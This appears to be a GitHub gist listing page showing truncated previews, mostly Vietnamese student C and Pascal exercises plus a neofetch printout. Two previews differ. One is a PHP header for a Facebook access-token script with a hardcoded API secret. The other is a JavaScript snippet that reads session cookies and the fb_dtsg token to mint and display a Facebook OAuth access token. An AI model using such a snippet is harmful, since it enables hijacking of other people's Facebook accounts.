This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/*** | |
*** Facebook Android Access_Token:ShareFBScripts | |
*** Copyright (c) 2016 @ ShareFBScripts.BlogSpot.Com | |
*** ShareFBScripts | |
**/ | |
error_reporting(E_ALL); | |
header('Origin: https://facebook.com'); | |
define('API_SECRET', '62f8ce9f74b12f84c123cc23437a4a32'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var uid = document.cookie.match(/c_user=(\d+)/)[1], | |
dtsg = document.getElementsByName("fb_dtsg")[0].value, | |
http = new XMLHttpRequest, | |
url = "//www.facebook.com/v1.0/dialog/oauth/confirm", | |
params = "fb_dtsg=" + dtsg + "&app_id=165907476854626&redirect_uri=fbconnect%3A%2F%2Fsuccess&display=page&access_token=&from_post=1&return_format=access_token&domain=&sso_device=ios&__CONFIRM__=1&__user=" + uid; | |
http.open("POST", url, !0), http.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), http.onreadystatechange = function() { | |
if (4 == http.readyState && 200 == http.status) { | |
var a = http.responseText.match(/access_token=(.*)(?=&expires_in)/); | |
a = a ? a[1] : "tubotocdo", prompt("Token", a); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
MMMMMMMMMMMMMMMMMMMMMMMMMmds+. gkkk@Gkkk | |
MMm----::-://////////////oymNMd+` --------- | |
MMd /++ -sNMd: OS: Linux Mint 18.3 Sylvia x86_64 | |
MMNso/` dMM `.::-. .-::.` .hMN: Host: K46CA 1.0 | |
ddddMMh dMM :hNMNMNhNMNMNh: `NMm Kernel: 4.15.0-36-generic | |
NMm dMM .NMN/-+MMM+-/NMN` dMM Uptime: 1 hour, 39 mins | |
NMm dMM -MMm `MMM dMM. dMM Packages: 2484 (dpkg), 3 (snap) | |
NMm dMM -MMm `MMM dMM. dMM Shell: bash 4.3.48 | |
NMm dMM .mmd `mmm yMM. dMM Resolution: 1366x768 | |
NMm dMM` ..` ... ydm. dMM DE: Xfce |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdlib.h> | |
int main() | |
{ | |
int d, m, y; | |
scanf("%d %d %d", &d, &m, &y); | |
int ngaycuoithang; | |
if( (m == 1) || (m == 3) || (m == 5) || (m == 7) || (m == 8) || (m == 10) || (m == 12) ) | |
{ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdlib.h> | |
/* | |
gkkk@Gkkk ~/Desktop/baitapc/bh $ ./a.out | |
5 | |
2 3 5 3 7 9 | |
4 | |
*/ | |
int main() | |
{ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests, json,time, urllib, os | |
def createFolder(directory): | |
try: | |
if not os.path.exists(directory): | |
os.makedirs(directory) | |
except OSError: | |
print ('Error: Creating directory. ' + directory) | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
void nhapmang(int n, int a[100]); | |
void xuatmang(int n, int a[100]); | |
int demSNT(int n, int a[100]); | |
void sapxep(int n, int a[100]); | |
void hoanvi(int *a, int *b); | |
bool kiemTraSNT(int a); | |
int solonnhat(int n, int a[100]); | |
int sobenhat(int n, int a[100]); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var A:array[1..100] of integer; | |
n,i,j,Tam,k, vitri:integer; | |
begin | |
writeln('Nhap so phan tu cua mang:'); readln(n); | |
writeln('Nhap so nguyen k:'); readln(k); | |
for i:=1 to n do | |
begin | |
write('A[',i,']='); readln(A[i]); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <string.h> | |
struct sinhvien | |
{ | |
int mssv; | |
char ho_ten[100]; | |
int ngay, thang, nam; | |
char que_quan[100]; | |
float diem_trung_binh, diem_ren_luyen; | |
}; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <string.h> | |
struct sinhvien | |
{ | |
int mssv; | |
char ho_ten[100]; | |
int ngay, thang, nam; | |
char que_quan[100]; | |
float diem_trung_binh, diem_ren_luyen; | |
}; |
OlderNewer